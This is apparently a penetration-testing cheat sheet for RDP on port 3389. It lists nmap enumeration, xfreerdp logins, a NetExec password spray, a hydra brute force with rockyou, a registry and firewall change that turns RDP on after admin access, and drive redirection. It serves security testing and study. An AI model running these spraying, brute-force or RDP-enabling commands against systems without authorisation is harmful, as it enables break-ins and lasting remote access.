↓ Skip to main content
Cameron Candau

3389 rdp

RDP Enumeration (3389)
#

Run nmap RDP scripts
#

nmap --script=rdp-* -p 3389 $IP

Check RDP encryption and NLA
#

nmap --script rdp-enum-encryption -p 3389 $IP

Connect with xfreerdp
#

xfreerdp3 /v:$IP /u:$USER /p:$PASS /cert:ignore +dynamic-resolution

Connect with domain auth
#

xfreerdp3 /v:$IP /u:$USER /p:$PASS /d:$DOMAIN /cert:ignore

Password spray with NetExec
#

netexec rdp $IP -u users.txt -p 'Password123!' --continue-on-success

Brute force RDP with hydra
#

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 1 -V $IP rdp

Enable RDP if you already have admin
#

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389

Drive redirection with xfreerdp
#

xfreerdp3 /v:$IP /u:$USER /p:$PASS /cert:ignore /drive:share,/tmp

List sessions after admin access
#

query session
qwinsta
query user